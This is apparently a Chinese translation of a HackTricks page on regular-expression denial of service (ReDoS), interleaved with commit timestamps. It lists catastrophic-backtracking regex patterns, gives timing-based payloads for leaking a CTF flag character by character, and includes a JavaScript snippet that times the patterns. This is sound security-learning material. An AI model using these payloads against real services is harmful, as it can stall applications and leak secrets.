2024-02-06 04:10:34 +00:00
# 正则表达式拒绝服务 - ReDoS
2022-04-28 16:01:33 +00:00
< details >
2024-02-06 04:10:34 +00:00
< summary > < strong > 从零开始学习AWS黑客技术< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE( HackTricks AWS红队专家) < / strong > < / a > < strong > ! < / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-03 16:56:23 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-06 04:10:34 +00:00
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter**上关注我 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >
2024-02-06 04:10:34 +00:00
# 正则表达式拒绝服务( ReDoS)
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
**正则表达式拒绝服务( ReDoS) **发生在有人利用正则表达式(一种在文本中搜索和匹配模式的方法)工作方式的弱点时。有时,当使用正则表达式时,它们可能变得非常缓慢,特别是当它们处理的文本片段变大时。这种缓慢可能会变得非常严重,即使文本大小略微增加,速度也会快速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间停止正常工作。
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
## 问题的正则表达式天真算法
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
**查看详细信息:[https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
2024-02-03 16:56:23 +00:00
## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
恶意正则表达式模式是那些可能**在精心制作的输入上陷入困境导致DoS**的模式。恶意的正则表达式模式通常包含重复的分组和重复或在重复的组内重叠的交替。一些恶意模式的示例包括:
2021-01-26 13:51:43 +00:00
2024-02-03 16:56:23 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
2024-02-06 04:10:34 +00:00
* (.*a){x},其中 x > 10
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
所有这些都对输入`aaaaaaaaaaaaaaaaaaaaaaaa!`易受攻击。
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
## ReDoS有效载荷
2022-04-05 22:13:36 +00:00
2024-02-06 04:10:34 +00:00
### 通过ReDoS进行字符串外泄
2022-04-05 22:13:36 +00:00
2024-02-06 04:10:34 +00:00
在CTF( 或漏洞赏金) 中, 也许您**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果**正则表达式匹配**,而**没有匹配**时**页面冻结(超时或更长的处理时间)**可能会很有用。这样,您将能够**逐个字符地外泄**字符串:
2022-04-05 22:13:36 +00:00
2024-02-06 04:10:34 +00:00
* 在[**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)中, 您可以找到这个ReDoS规则: `^(?=< flag > )((.*)*)*salt$`
2023-08-03 19:12:22 +00:00
* 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
2024-02-06 04:10:34 +00:00
* 在[**这篇解答**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)中,您可以找到这个:`< flag > (((((((.*)*)*)*)*)*)*)!`
* 在[**这篇解答**](https://ctftime.org/writeup/25869)中,他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2024-02-03 16:56:23 +00:00
2024-02-06 04:10:34 +00:00
### ReDoS控制输入和正则表达式
2021-01-26 13:51:43 +00:00
2024-02-06 04:10:34 +00:00
以下是您**同时控制**输入和**正则表达式**的**ReDoS**示例:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2023-08-03 19:12:22 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2023-08-03 19:12:22 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2023-08-03 19:12:22 +00:00
## 工具
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit ](https://github.com/doyensec/regexploit )
* [https://devina.io/redos-checker ](https://devina.io/redos-checker )
2022-04-28 16:01:33 +00:00
2024-02-03 16:56:23 +00:00
# 参考资料
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS ](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS )
2024-02-06 04:10:34 +00:00
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets ](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets )
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html ](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html )
* [https://ctftime.org/writeup/25869 ](https://ctftime.org/writeup/25869 )
2022-04-28 16:01:33 +00:00
2024-02-03 16:56:23 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-02-06 04:10:34 +00:00
< summary > < strong > 从零开始学习AWS黑客技术, 成为专家< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2022-04-28 16:01:33 +00:00
2024-02-03 16:56:23 +00:00
支持HackTricks的其他方式:
2022-04-28 16:01:33 +00:00
2024-02-06 04:10:34 +00:00
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版本的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群** ](https://discord.gg/hRep4RUj7f ) 或 [**电报群** ](https://t.me/peass ) 或在**Twitter**上关注我 🐦 [**@carlospolopm** ](https://twitter.com/carlospolopm )**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
< / details >